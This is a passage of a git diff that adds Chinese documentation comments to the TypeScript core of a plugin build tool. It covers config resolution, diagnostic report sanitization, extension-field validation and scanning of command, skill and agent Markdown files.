rejectUnknownFields(object, ['dir', 'copy'], ['public'], diagnostics); if (object.dir !== undefined && typeof object.dir !== 'string') diagnostics.error('CONFIG_PUBLIC_DIR_INVALID', 'public.dir must be a string.', { phase: 'config', fieldPath: ['public', 'dir'] }); + // Public 来源目录必须在工程根目录内,目标路径则由每条 copy 规则决定。 const dir = resolveInside(root, typeof object.dir === 'string' ? object.dir : 'public', 'public.dir', diagnostics); + // 仅保留字段类型完整的规则,非法规则由诊断表达而不进入后续扫描。 const copy: { from: string; to: string }[] = []; if (object.copy !== undefined && !Array.isArray(object.copy)) diagnostics.error('CONFIG_PUBLIC_COPY_INVALID', 'public.copy must be an array.', { phase: 'config', fieldPath: ['public', 'copy'] }); @@ -131,6 +198,7 @@ function resolvePublic(root: string, value: unknown, diagnostics: DiagnosticColl diagnostics.error('CONFIG_PUBLIC_RULE_INVALID', 'Public copy rules require string from and to fields.', { phase: 'config', fieldPath: ['public', 'copy', index] }); continue; } + // 先保存稳定的字符串形态,再执行绝对路径和父目录穿越检查。 const rule = { from: rawRule.from, to: rawRule.to }; copy.push(rule); if (path.isAbsolute(rule.from) || path.isAbsolute(rule.to) || rule.from.split(/[\\/]/).includes('..') || rule.to.split(/[\\/]/).includes('..')) { @@ -143,14 +211,26 @@ function resolvePublic(root: string, value: unknown, diagnostics: DiagnosticColl return object.copy !== undefined ? { enabled: true, dir, copy } : { enabled: true, dir }; } +/** + * 将用户配置严格校验并解析为 Core 可直接消费的配置。 + * + * @param value 从可信 `acplugin.config.ts` 加载的用户配置对象。 + * @param configPath 配置文件绝对路径或可解析路径。 + * @param command 当前执行的 CLI 构建命令。 + * @param mode 当前构建运行模式。 + * @returns 成功时包含完整配置;失败时只返回已脱敏、可排序的诊断。 + */ export function resolveConfig( value: UserConfig, configPath: string, command: BuildCommand, mode: BuildMode, ): { config?: ResolvedConfig; diagnostics: readonly import('./types.js').Diagnostic[] } { + // 单次解析共享同一个 Collector,以便用户一次看到全部独立配置问题。 const diagnostics = new DiagnosticCollector(); + // 配置文件所在目录定义所有工程相对路径的信任根。 const root = path.dirname(path.resolve(configPath)); + // 先降级为 unknown,确保运行时校验不依赖调用方的静态类型声明。 const object = value as unknown; if (!isRecord(object)) { @@ -171,6 +251,7 @@ export function resolveConfig( if (object.srcDir !== undefined && typeof object.srcDir !== 'string') diagnostics.error('CONFIG_SRC_DIR_INVALID', 'srcDir must be a string.', { phase: 'config', fieldPath: ['srcDir'] }); + // 非法 build 值不会进入后续字段读取,但仍继续收集其他顶层错误。 let build: Record = {}; if (object.build !== undefined) { if (!isRecord(object.build)) @@ -189,6 +270,7 @@ export function resolveConfig( if (object.modules !== undefined && !Array.isArray(object.modules)) diagnostics.error('CONFIG_MODULES_INVALID', 'modules must be an array.', { phase: 'config', fieldPath: ['modules'] }); + // 扩展数据必须保持确定性 JSON,且不能覆盖 Core 的规范语义字段。 let extensions: PlatformExtensions = {}; if (object.extensions !== undefined) { if (!isRecord(object.extensions)) { @@ -209,9 +291,13 @@ export function resolveConfig( } } + // 严格模式默认开启,避免平台降级在未明确授权时静默发生。 const strict = typeof build.strict === 'boolean' ? build.strict : true; + // 所有运行路径在进入 Scanner 前统一解析为工程内绝对路径。 const srcDir = resolveInside(root, typeof object.srcDir === 'string' ? object.srcDir : 'src', 'srcDir', diagnostics); + // 输出目录独立解析,随后还会检查它与来源目录之间的包含关系。 const outDir = resolveInside(root, typeof build.outDir === 'string' ? build.outDir : 'dist', 'build.outDir', diagnostics); + // Public 和 Target 子配置分别负责自己的默认值与结构诊断。 const publicConfig = resolvePublic(root, object.public, diagnostics); const targets = resolveTargets(Array.isArray(object.targets) ? object.targets : object.targets === undefined ? undefined : [], strict, diagnostics); @@ -222,7 +308,9 @@ export function resolveConfig( if (publicConfig.enabled && (publicConfig.dir === outDir || isInside(publicConfig.dir, outDir) || isInside(outDir, publicConfig.dir))) diagnostics.error('CONFIG_DIRECTORY_OVERLAP', 'Public directory and build.outDir cannot contain each other.', { phase: 'config' }); + // Module 保持用户声明顺序;真正的依赖拓扑排序由 Builder 统一执行。 const modules = (Array.isArray(object.modules) ? object.modules : []) as unknown[]; + // 名称集合用于在配置边界提前拒绝同一 Module 的重复实例。 const moduleNames = new Set(); for (const [index, module] of modules.entries()) { if (!isRecord(module) || typeof module.name !== 'string' || !MODULE_NAME_PATTERN.test(module.name)) { @@ -246,6 +334,7 @@ export function resolveConfig( if (diagnostics.hasErrors) return { diagnostics: diagnostics.diagnostics }; + // 只有不存在错误诊断时才构造类型完备的 ResolvedConfig。 const config: ResolvedConfig = { root, configPath: path.resolve(configPath), diff --git a/packages/core/src/diagnostics.ts b/packages/core/src/diagnostics.ts index 3f399a5..eec6adc 100644 --- a/packages/core/src/diagnostics.ts +++ b/packages/core/src/diagnostics.ts @@ -1,5 +1,11 @@ import type { CompatibilityEntry, Diagnostic, DiagnosticCollectorLike, ResolvedTarget } from './types.js'; +/** + * 清理即将写入诊断和兼容性报告的自由文本,避免泄露凭据与本机绝对路径。 + * + * @param value Compiler、Module 或底层异常提供的原始文本。 + * @returns 去除敏感内容和控制空白后的单行文本。 + */ export function sanitizeReportText(value: string): string { return value .replace(/\b(?:Bearer|Basic)\s+[^\s,;]+/gi, '') @@ -9,13 +15,26 @@ export function sanitizeReportText(value: string): string { .trim(); } +/** + * 复制源码位置并隐藏绝对路径,同时保留安全的工程相对路径。 + * + * @param location 原始源码位置。 + * @returns 可安全写入构建报告的位置;未提供位置时返回 undefined。 + */ function safeLocation(location: import('./types.js').SourceLocation | undefined): import('./types.js').SourceLocation | undefined { if (!location) return undefined; + /** 对外报告使用的路径,绝对路径统一替换为占位符。 */ const safePath = /^(?:[A-Za-z]:[\\/]|\/)/.test(location.path) ? '' : location.path; return { ...location, path: safePath }; } +/** + * 对单条诊断执行完整的报告安全处理,并修正不符合规范的诊断码。 + * + * @param diagnostic 尚未进入 Collector 的诊断。 + * @returns 可安全持久化和展示的诊断副本。 + */ function safeDiagnostic(diagnostic: Diagnostic): Diagnostic { return { ...diagnostic, @@ -31,10 +50,23 @@ function safeDiagnostic(diagnostic: Diagnostic): Diagnostic { }; } +/** + * 对可选字符串执行稳定的英文区域排序比较。 + * + * @param a 左侧可选字符串。 + * @param b 右侧可选字符串。 + * @returns 与 Array.sort 约定一致的比较结果。 + */ function compareStrings(a: string | undefined, b: string | undefined): number { return (a ?? '').localeCompare(b ?? '', 'en'); } +/** + * 按目标、Module、源码位置和内容对诊断进行确定性排序。 + * + * @param diagnostics 任意收集顺序的诊断列表。 + * @returns 不修改输入的稳定排序副本。 + */ export function sortDiagnostics(diagnostics: readonly Diagnostic[]): Diagnostic[] { return [...diagnostics].sort((a, b) => compareStrings(a.target, b.target) @@ -46,6 +78,12 @@ export function sortDiagnostics(diagnostics: readonly Diagnostic[]): Diagnostic[ || compareStrings(a.message, b.message)); } +/** + * 清理兼容性条目中的自由文本,并按平台与能力稳定排序。 + * + * @param entries Compiler 或 Module 产生的兼容性说明。 + * @returns 可安全写入报告的排序副本。 + */ export function sortCompatibility(entries: readonly CompatibilityEntry[]): CompatibilityEntry[] { return entries.map(entry => ({ ...entry, @@ -61,21 +99,47 @@ export function sortCompatibility(entries: readonly CompatibilityEntry[]): Compa || compareStrings(a.level, b.level)); } +/** + * 汇总一次构建生命周期内的诊断,并在写入时统一建立脱敏边界。 + */ export class DiagnosticCollector implements DiagnosticCollectorLike { + /** 按产生顺序保存的安全诊断,读取时再执行确定性排序。 */ readonly #items: Diagnostic[] = []; + /** + * 返回按确定规则排序的诊断快照。 + * + * @returns 不暴露内部可变数组的只读列表。 + */ get diagnostics(): readonly Diagnostic[] { return sortDiagnostics(this.#items); } + /** + * 指示当前构建是否已经产生至少一条错误级诊断。 + * + * @returns 存在错误时返回 true。 + */ get hasErrors(): boolean { return this.#items.some(item => item.severity === 'error'); } + /** + * 清理并加入一条完整诊断。 + * + * @param diagnostic 调用方构造的原始诊断。 + */ add(diagnostic: Diagnostic): void { this.#items.push(safeDiagnostic(diagnostic)); } + /** + * 使用错误级别创建并加入诊断。 + * + * @param code 稳定、可供工具识别的诊断码。 + * @param message 面向开发者的错误说明。 + * @param options 除级别、代码和消息外的上下文。 + */ error( code: string, message: string, @@ -84,6 +148,13 @@ export class DiagnosticCollector implements DiagnosticCollectorLike { this.add({ code, message, severity: 'error', phase: options.phase ?? 'unknown', ...options }); } + /** + * 使用警告级别创建并加入诊断。 + * + * @param code 稳定、可供工具识别的诊断码。 + * @param message 面向开发者的警告说明。 + * @param options 除级别、代码和消息外的上下文。 + */ warning( code: string, message: string, @@ -93,6 +164,15 @@ export class DiagnosticCollector implements DiagnosticCollectorLike { } } +/** + * 根据目标的 strict 配置,把降级或不支持能力转换为错误或警告。 + * + * 完全支持以及仅包含信息的条目不会阻塞构建;严格模式则会阻止任何能力损失。 + * + * @param collector 当前构建共享的诊断收集器。 + * @param target 正在评估的目标平台配置。 + * @param entries 需要应用严格度策略的兼容性条目。 + */ export function applyCompatibilityStrictness( collector: DiagnosticCollectorLike, target: ResolvedTarget, @@ -102,7 +182,9 @@ export function applyCompatibilityStrictness( if (entry.level !== 'degraded' && entry.level !== 'unsupported') continue; + /** 供终端和报告共同展示的兼容性摘要。 */ const message = `${entry.subject}: ${entry.reason}`; + /** 保留目标与阶段信息的诊断上下文。 */ const options: Partial> = { phase: 'compatibility', target: target.id, diff --git a/packages/core/src/extensions.ts b/packages/core/src/extensions.ts index 848ba6d..e54a69b 100644 --- a/packages/core/src/extensions.ts +++ b/packages/core/src/extensions.ts @@ -1,23 +1,40 @@ +/** 描述扩展数据中一项不符合可序列化或语义隔离约束的问题。 */ export interface ExtensionIssue { + /** 从扩展根值到问题字段的字符串键或数组下标路径。 */ path: readonly (string | number)[]; + /** 面向配置作者的问题说明。 */ message: string; } +/** + * Core 已拥有语义的保留字段名集合。 + * + * 扩展字段会按不区分大小写的方式检查,防止 Module 通过别名覆盖标准 Plugin 契约。 + */ const CANONICAL_KEYS = new Set([ 'name', 'version', 'description', 'displayname', 'body', 'prompt', 'instructions', 'commands', 'skills', 'agents', 'hooks', 'mcp', 'mcpservers', 'manifest', ]); +/** + * 递归验证扩展值是否为确定性 JSON 数据,并与 Core 标准字段保持语义隔离。 + * + * @param value 当前需要验证的扩展值或递归子值。 + * @param path 当前值相对于扩展根节点的位置。 + * @param seen 已访问对象集合,用于拒绝循环引用和重复对象引用。 + * @returns 当前子树中发现的全部问题,不会在首个错误处提前结束。 + */ export function extensionIssues( value: unknown, path: readonly (string | number)[] = [], - seen = new WeakSet(), + seen: WeakSet = new WeakSet(), ): ExtensionIssue[] { if (value === null || typeof value === 'string' || typeof value === 'boolean') return []; if (typeof value === 'number') return Number.isFinite(value) ? [] : [{ path, message: 'Extension numbers must be finite.' }]; if (Array.isArray(value)) { + // 扩展最终会进入稳定 JSON/YAML;引用图必须退化为没有循环或共享节点的值树。 if (seen.has(value)) return [{ path, message: 'Extension values cannot contain cycles.' }]; seen.add(value); @@ -28,14 +45,18 @@ export function extensionIssues( if (seen.has(value)) return [{ path, message: 'Extension values cannot contain cycles.' }]; seen.add(value); + /** 当前映射值的原型,用于排除 Date、Map 和自定义类实例。 */ const prototype = Object.getPrototypeOf(value); if (prototype !== null && prototype !== Object.prototype) return [{ path, message: 'Extension objects must be plain JSON mappings.' }]; + /** 当前对象及所有后代累计产生的问题。 */ const issues: ExtensionIssue[] = []; for (const [key, child] of Object.entries(value as Record)) { + /** 当前字段对应的完整问题路径。 */ const childPath = [...path, key]; if (CANONICAL_KEYS.has(key.toLowerCase())) { + // Canonical 数据只能通过正式配置和 Component 契约进入,扩展不能创建第二套含义。 issues.push({ path: childPath, message: `Extension field "${key}" duplicates canonical plugin semantics.`, diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index d50a1a6..5ac1145 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -7,4 +7,5 @@ export * from './transaction.js'; export * from './builder.js'; export * from './serialization.js'; +/** Core 公共报告与配置契约的当前 Schema 版本。 */ export const CORE_SCHEMA_VERSION = '1'; diff --git a/packages/core/src/scanner.ts b/packages/core/src/scanner.ts index b13abbd..d887fdf 100644 --- a/packages/core/src/scanner.ts +++ b/packages/core/src/scanner.ts @@ -20,21 +20,40 @@ import type { SkillComponent, } from './types.js'; +/** Component ID 的规范格式:小写 kebab-case,且不允许空片段。 */ const ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; +/** Core 可移植 Agent 模型档位集合。 */ const AGENT_MODELS = new Set(['inherit', 'fast', 'capable']); +/** Core 可移植 Agent 能力集合,平台特有能力应通过 extensions 表达。 */ const AGENT_CAPABILITIES = new Set([ 'filesystem:read', 'filesystem:write', 'search', 'shell', 'network', 'delegate', ]); +/** Scanner 完成 YAML 解析后使用的 Markdown 中间表示。 */ interface ParsedMarkdown { + /** Frontmatter 顶层映射。 */ data: Record; + /** 移除 Frontmatter 并裁剪首尾空白后的正文。 */ body: string; } +/** + * 将文件路径转换为相对于工程根目录的 POSIX 报告路径。 + * + * @param root 工程根目录。 + * @param file 需要呈现在诊断中的文件路径。 + * @returns 不依赖宿主平台分隔符的相对路径。 + */ function relative(root: string, file: string): string { return path.relative(root, file).split(path.sep).join('/'); } +/** + * 判断路径是否可访问;不存在和不可访问均按 false 处理。 + * + * @param file 待检查路径。 + * @returns fs.access 成功时返回 true。 + */ async function exists(file: string): Promise { try { await fs.access(file); @@ -44,10 +63,25 @@ async function exists(file: string): Promise { } } +/** + * 把宿主文件权限收敛为 Artifact 支持的普通或可执行模式。 + * + * @param mode fs.Stat 提供的完整权限位。 + * @returns 任意执行位存在时为 0755,否则为 0644。 + */ function modeFromStat(mode: number): ArtifactMode { return mode & 0o111 ? 0o755 : 0o644; } +/** + * 验证源码路径是普通且非符号链接文件,并将可预期失败记录为诊断。 + * + * @param file 待验证文件。 + * @param root 用于生成安全相对诊断路径的工程根目录。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @param phase 诊断所属 Pipeline 阶段。 + * @returns 有效文件的 lstat 信息,失败时返回 undefined。 + */ async function assertRegularFile( file: string, root: string, @@ -77,6 +111,16 @@ async function assertRegularFile( } } +/** + * 解析带必需 YAML Frontmatter 的非空 Markdown Component 文件。 + * + * 该函数只建立通用文档结构;每种 Component 的字段白名单由后续扫描函数验证。 + * + * @param file Markdown 文件路径。 + * @param root 工程根目录。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @returns 解析后的元数据与正文,格式无效时返回 undefined。 + */ async function parseMarkdown( file: string, root: string, @@ -85,6 +129,7 @@ async function parseMarkdown( if (!await assertRegularFile(file, root, diagnostics)) return undefined; + /** 从磁盘读取的完整 Markdown 源码。 */ let source: string; try { source = await fs.readFile(file, 'utf8'); @@ -95,6 +140,7 @@ async function parseMarkdown( return undefined; } + /** 保留行边界的源码列表,用于定位 Frontmatter 与正文。 */ const lines = source.split(/\r?\n/); if (lines[0] !== '---') { diagnostics.error('FRONTMATTER_REQUIRED', 'A YAML Frontmatter block is required.', { @@ -102,6 +148,7 @@ async function parseMarkdown( }); return undefined; } + /** Frontmatter 结束分隔符所在的零基行号。 */ const closing = lines.findIndex((line, index) => index > 0 && line === '---'); if (closing < 0) { diagnostics.error('FRONTMATTER_UNTERMINATED', 'YAML Frontmatter is not terminated.', { @@ -110,7 +157,9 @@ async function parseMarkdown( return undefined; } + /** 不含上下分隔符的原始 YAML 文本。 */ const yamlSource = lines.slice(1, closing).join('\n'); + /** 开启唯一键校验的 YAML 文档,避免后写字段静默覆盖前写字段。 */ const document = parseDocument(yamlSource, { prettyErrors: false, uniqueKeys: true }); if (document.errors.length > 0) { diagnostics.error('FRONTMATTER_INVALID', 'Invalid YAML Frontmatter.', { @@ -118,6 +167,7 @@ async function parseMarkdown( }); return undefined; } + /** YAML 文档转换出的未知值,必须进一步验证为顶层映射。 */ const raw = document.toJS() as unknown; if (raw === null || typeof raw !== 'object' || Array.isArray(raw)) { diagnostics.error('FRONTMATTER_OBJECT_REQUIRED', 'Frontmatter must be a mapping.', { @@ -125,6 +175,7 @@ async function parseMarkdown( }); return undefined; } + /** Frontmatter 后的 Markdown 正文。 */ const body = lines.slice(closing + 1).join('\n').trim(); if (body === '') { diagnostics.error('MARKDOWN_BODY_REQUIRED', 'Markdown body must not be empty.', { @@ -135,6 +186,14 @@ async function parseMarkdown( return { data: raw as Record, body }; } +/** + * 验证 Component ID 是否符合跨平台稳定命名规则。 + * + * @param id 从文件或目录名称提取的 ID。 + * @param sourcePath 用于诊断定位的工程相对路径。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @returns ID 有效时返回 true。 + */ function validateId(id: string, sourcePath: string, diagnostics: DiagnosticCollector): boolean { if (ID_PATTERN.test(id)) return true; @@ -144,12 +203,21 @@ function validateId(id: string, sourcePath: string, diagnostics: DiagnosticColle return false; } +/** + * 拒绝某类 Component Frontmatter 中未声明的字段。 + * + * @param data Frontmatter 顶层映射。 + * @param allowed 当前 Component 允许的字段名。 + * @param sourcePath 诊断使用的源码路径。 + * @param diagnostics 当前扫描共享的诊断收集器。 + */ function validateFields( data: Record, allowed: readonly string[], sourcePath: string, diagnostics: DiagnosticCollector, ): void { + /** 供每个字段执行常数时间查询的白名单。 */ const allowedSet = new Set(allowed); for (const key of Object.keys(data)) { if (!allowedSet.has(key)) { @@ -160,6 +228,16 @@ function validateFields( } } +/** + * 读取并规范化一个可选或必需的非空字符串字段。 + * + * @param data Frontmatter 顶层映射。 + * @param key 待读取字段名。 + * @param sourcePath 诊断使用的源码路径。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @param required 字段缺失时是否也产生错误。 + * @returns 裁剪后的字符串,无效或可选缺失时返回 undefined。 + */ function stringField( data: Record, key: string, @@ -167,6 +245,7 @@ function stringField( diagnostics: DiagnosticCollector, required = false, ): string | undefined { + /** Frontmatter 中未经验证的原始字段值。 */ const value = data[key]; if (value === undefined && !required) return undefined; @@ -179,6 +258,15 @@ function stringField( return value.trim(); } +/** + * 验证字符串数组字段,并报告空值与重复 ID。 + * + * @param value 未知字段值。 + * @param fieldPath 诊断中使用的嵌套字段路径。 + * @param sourcePath 诊断使用的源码路径。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @returns 有效输入本身;缺失或类型无效时返回空数组。 + */ function stringArray( value: unknown, fieldPath: readonly string[], @@ -193,6 +281,7 @@ function stringArray( }); return []; } + /** 已通过元素类型与非空检查的字符串列表。 */ const result = value as string[]; if (new Set(result).size !== result.length) { diagnostics.error('COMPONENT_REQUIRES_DUPLICATE', `${fieldPath.join('.')} contains duplicate IDs.`, { @@ -202,6 +291,14 @@ function stringArray( return result; } +/** + * 解析 Component 对 Skill 和 Agent 的规范依赖声明。 + * + * @param data requires 字段的未知值。 + * @param sourcePath 诊断使用的源码路径。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @returns 始终包含 skills 和 agents 数组的依赖结构。 + */ function parseRequires(data: unknown, sourcePath: string, diagnostics: DiagnosticCollector): ComponentRequires { if (data === undefined) return { skills: [], agents: [] }; @@ -211,6 +308,7 @@ function parseRequires(data: unknown, sourcePath: string, diagnostics: Diagnosti }); return { skills: [], agents: [] }; } + /** 已验证为映射的 requires 对象。 */ const object = data as Record; for (const key of Object.keys(object)) { if (key !== 'skills' && key !== 'agents') { @@ -225,6 +323,14 @@ function parseRequires(data: unknown, sourcePath: string, diagnostics: Diagnosti }; } +/** + * 解析平台扩展映射,并阻止扩展覆盖 Core 的标准 Plugin 语义。 + * + * @param data extensions 字段的未知值。 + * @param sourcePath 诊断使用的源码路径。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @returns 已通过结构验证的平台扩展映射。 + */ function parseExtensions(data: unknown, sourcePath: string, diagnostics: DiagnosticCollector): PlatformExtensions { if (data === undefined) return {}; @@ -234,6 +340,7 @@ function parseExtensions(data: unknown, sourcePath: string, diagnostics: Diagnos }); return {}; } + /** 已验证为顶层映射的扩展对象。 */ const object = data as Record; for (const [key, value] of Object.entries(object)) { if (key !== 'claude-code' && key !== 'codex') { @@ -257,6 +364,12 @@ function parseExtensions(data: unknown, sourcePath: string, diagnostics: Diagnos return object as PlatformExtensions; } +/** + * 按名称稳定读取目录;目录不存在视为没有对应 Component。 + * + * @param directory 待读取目录。 + * @returns 排序后的目录项,ENOENT 时返回空数组。 + */ async function listDirectory(directory: string): Promise { try { return (await fs.readdir(directory, { withFileTypes: true })).sort((a, b) => a.name.localeCompare(b.name, 'en')); @@ -267,31 +380,47 @@ async function listDirectory(directory: string): Promise { + /** Command 的固定一级源码目录。 */ const directory = path.join(config.srcDir, 'commands'); + /** 通过结构和 Frontmatter 验证的 Command。 */ const result: CommandComponent[] = []; for (const entry of await listDirectory(directory)) { + /** 当前目录项的绝对源码路径。 */ const file = path.join(directory, entry.name); + /** 当前目录项用于报告和 Component 的相对路径。 */ const sourcePath = relative(config.root, file); if (!entry.isFile() || !entry.name.endsWith('.md')) { diagnostics.error('COMMAND_ENTRY_INVALID', 'Commands must be one-level .md files.', { phase: 'discover', location: { path: sourcePath } }); continue; } + /** 从 `.md` 文件名提取的 Command ID。 */ const id = entry.name.slice(0, -3); if (!validateId(id, sourcePath, diagnostics)) continue; + /** 当前 Command 的通用 Markdown 解析结果。 */ const parsed = await parseMarkdown(file, config.root, diagnostics); if (!parsed) continue; validateFields(parsed.data, ['description', 'argumentHint', 'requires', 'extensions'], sourcePath, diagnostics); + /** Command 必需的非空描述。 */ const description = stringField(parsed.data, 'description', sourcePath, diagnostics, true); if (!description) continue; + /** 已满足必需字段要求的规范 Command。 */ const command: CommandComponent = { kind: 'command', id, description, body: parsed.body, sourcePath, requires: parseRequires(parsed.data.requires, sourcePath, diagnostics), extensions: parseExtensions(parsed.data.extensions, sourcePath, diagnostics), }; + /** 可选的命令参数提示。 */ const argumentHint = stringField(parsed.data, 'argumentHint', sourcePath, diagnostics); if (argumentHint !== undefined) command.argumentHint = argumentHint; @@ -300,17 +429,29 @@ async function scanCommands(config: ResolvedConfig, diagnostics: DiagnosticColle return result; } +/** + * 递归收集 Skill 目录中除 `SKILL.md` 外的辅助文件。 + * + * @param directory 当前 Skill 根目录。 + * @param config 已解析工程配置。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @param prefix 当前递归位置相对于 Skill 根目录的路径。 + * @returns 带源路径、目标相对路径和权限的辅助文件列表。 + */ async function collectSkillAuxiliary( directory: string, config: ResolvedConfig, diagnostics: DiagnosticCollector, prefix = '', ): Promise { + /** 当前递归子树累计发现的普通文件。 */ const result: SkillAuxiliaryFile[] = []; for (const entry of await listDirectory(path.join(directory, prefix))) { if (prefix === '' && entry.name === 'SKILL.md') continue; + /** 辅助文件在最终 Skill 目录中的 POSIX 相对路径。 */ const relativePath = path.posix.join(prefix.split(path.sep).join('/'), entry.name); + /** 当前辅助目录项的绝对源路径。 */ const file = path.join(directory, relativePath); if (entry.isSymbolicLink()) { diagnostics.error('SOURCE_SYMLINK_UNSUPPORTED', 'Symbolic links are not supported.', { @@ -330,11 +471,22 @@ async function collectSkillAuxiliary( return result; } +/** + * 扫描 `src/skills//SKILL.md` 及其辅助文件。 + * + * @param config 已解析工程配置。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @returns 按目录名稳定排序的有效 Skill 列表。 + */ async function scanSkills(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { + /** Skill 的固定一级源码目录。 */ const directory = path.join(config.srcDir, 'skills'); + /** 通过结构和 Frontmatter 验证的 Skill。 */ const result: SkillComponent[] = []; for (const entry of await listDirectory(directory)) { + /** 当前 Skill 的绝对目录。 */ const skillDirectory = path.join(directory, entry.name); + /** 当前 Skill 目录的工程相对路径。 */ const sourcePath = relative(config.root, skillDirectory); if (!entry.isDirectory()) { diagnostics.error('SKILL_ENTRY_INVALID', 'Skills must be one-level directories.', { phase: 'discover', location: { path: sourcePath } }); @@ -342,25 +494,32 @@ async function scanSkills(config: ResolvedConfig, diagnostics: DiagnosticCollect } if (!validateId(entry.name, sourcePath, diagnostics)) continue; + /** Skill 必需的主 Markdown 文件。 */ const file = path.join(skillDirectory, 'SKILL.md'); if (!await exists(file)) { diagnostics.error('SKILL_FILE_REQUIRED', 'Skill directory must contain SKILL.md.', { phase: 'discover', location: { path: sourcePath } }); continue; } + /** 当前 Skill 的通用 Markdown 解析结果。 */ const parsed = await parseMarkdown(file, config.root, diagnostics); if (!parsed) continue; + /** SKILL.md 用于诊断和 Component 来源的相对路径。 */ const markdownPath = relative(config.root, file); validateFields(parsed.data, ['description', 'invocation', 'requires', 'extensions'], markdownPath, diagnostics); + /** Skill 必需的非空描述。 */ const description = stringField(parsed.data, 'description', markdownPath, diagnostics, true); if (!description) continue; + /** 是否允许用户显式调用 Skill,默认为开启。 */ let user = true; + /** 是否允许模型自主调用 Skill,默认为开启。 */ let model = true; if (parsed.data.invocation !== undefined) { if (parsed.data.invocation === null || typeof parsed.data.invocation !== 'object' || Array.isArray(parsed.data.invocation)) { diagnostics.error('SKILL_INVOCATION_INVALID', 'invocation must be a mapping.', { phase: 'discover', location: { path: markdownPath }, fieldPath: ['invocation'] }); } else { + /** 已验证为映射的调用策略。 */ const invocation = parsed.data.invocation as Record; for (const key of Object.keys(invocation)) { if (key !== 'user' && key !== 'model') @@ -389,33 +548,51 @@ async function scanSkills(config: ResolvedConfig, diagnostics: DiagnosticCollect return result; } +/** + * 扫描 `src/agents/*.md` 并构造规范 Agent Component。 + * + * @param config 已解析工程配置。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @returns 按文件名稳定排序的有效 Agent 列表。 + */ async function scanAgents(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { + /** Agent 的固定一级源码目录。 */ const directory = path.join(config.srcDir, 'agents'); + /** 通过结构和 Frontmatter 验证的 Agent。 */ const result: AgentComponent[] = []; for (const entry of await listDirectory(directory)) { + /** 当前 Agent 目录项的绝对源码路径。 */ const file = path.join(directory, entry.name); + /** 当前 Agent 用于报告和 Component 的相对路径。 */ const sourcePath = relative(config.root, file); if (!entry.isFile() || !entry.name.endsWith('.md')) { diagnostics.error('AGENT_ENTRY_INVALID', 'Agents must be one-level .md files.', { phase: 'discover', location: { path: sourcePath } }); continue; } + /** 从 `.md` 文件名提取的 Agent ID。 */ const id = entry.name.slice(0, -3); if (!validateId(id, sourcePath, diagnostics)) continue; + /** 当前 Agent 的通用 Markdown 解析结果。 */ const parsed = await parseMarkdown(file, config.root, diagnostics); if (!parsed) continue; validateFields(parsed.data, ['description', 'model', 'capabilities', 'requires', 'extensions'], sourcePath, diagnostics); + /** Agent 必需的非空描述。 */ const description = stringField(parsed.data, 'description', sourcePath, diagnostics, true); if (!description) continue; + /** Frontmatter 提供或由 Core 默认的模型档位。 */ const modelValue = parsed.data.model ?? 'inherit'; + /** 收敛到 Core 可移植枚举后的模型档位。 */ const model = typeof modelValue === 'string' && AGENT_MODELS.has(modelValue as AgentModel) ? modelValue as AgentModel : 'inherit'; if (model !== modelValue) diagnostics.error('AGENT_MODEL_INVALID', 'model must be inherit, fast, or capable.', { phase: 'discover', location: { path: sourcePath }, fieldPath: ['model'] }); + /** 通过字符串数组结构验证、但尚未验证枚举取值的能力。 */ const capabilityValues = stringArray(parsed.data.capabilities, ['capabilities'], sourcePath, diagnostics); + /** 仅保留 Core 可移植能力的 Agent 能力列表。 */ const capabilities = capabilityValues.filter((capability): capability is AgentCapability => { if (AGENT_CAPABILITIES.has(capability as AgentCapability)) return true; @@ -432,12 +609,22 @@ async function scanAgents(config: ResolvedConfig, diagnostics: DiagnosticCollect return result; } +/** + * 递归展开一条 Public 复制来源,并拒绝符号链接及特殊文件。 + * + * @param source 当前源文件或目录路径。 + * @param target 当前来源映射到产物中的相对路径。 + * @param config 已解析工程配置。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @returns 当前子树中的普通 Public 文件列表。 + */ async function collectPublicTree( source: string, target: string, config: ResolvedConfig, diagnostics: DiagnosticCollector, ): Promise { + /** 当前 Public 来源的文件系统元数据。 */ let stat: import('node:fs').Stats; try { stat = await fs.lstat(source); @@ -458,32 +645,58 @@ async function collectPublicTree( diagnostics.error('SOURCE_ENTRY_UNSUPPORTED', 'Only regular files and directories are supported.', { phase: 'discover', location: { path: relative(config.root, source) } }); return []; } + /** 当前目录子树累计展开的 Public 文件。 */ const result: PublicFile[] = []; for (const entry of await listDirectory(source)) result.push(...await collectPublicTree(path.join(source, entry.name), path.join(target, entry.name), config, diagnostics)); return result; } +/** + * 根据默认整目录规则或显式 copy 规则扫描公共资源。 + * + * @param config 已解析工程配置。 + * @param diagnostics 当前扫描共享的诊断收集器。 + * @returns 将由每个目标共同接收的 Public 文件列表。 + */ async function scanPublic(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { if (!config.public.enabled || !await exists(config.public.dir)) return []; if (!config.public.copy) return collectPublicTree(config.public.dir, '', config, diagnostics); + /** 所有显式 copy 规则展开后的 Public 文件。 */ const result: PublicFile[] = []; for (const rule of config.public.copy) result.push(...await collectPublicTree(path.join(config.public.dir, rule.from), rule.to, config, diagnostics)); return result; } +/** + * 构造同时包含 Component 类型和 ID 的依赖图唯一键。 + * + * @param kind Component 类型。 + * @param id Component ID。 + * @returns 不会让不同类型同名 Component 碰撞的键。 + */ function componentKey(kind: ComponentKind, id: string): string { return `${kind}:${id}`; } +/** + * 验证 Component 依赖是否存在、是否自引用以及是否形成环。 + * + * @param components Scanner 发现的全部 Core Component。 + * @param diagnostics 当前扫描共享的诊断收集器。 + */ function validateGraph(components: readonly Component[], diagnostics: DiagnosticCollector): void { + /** 按类型与 ID 唯一索引的 Component。 */ const byKey = new Map(components.map(component => 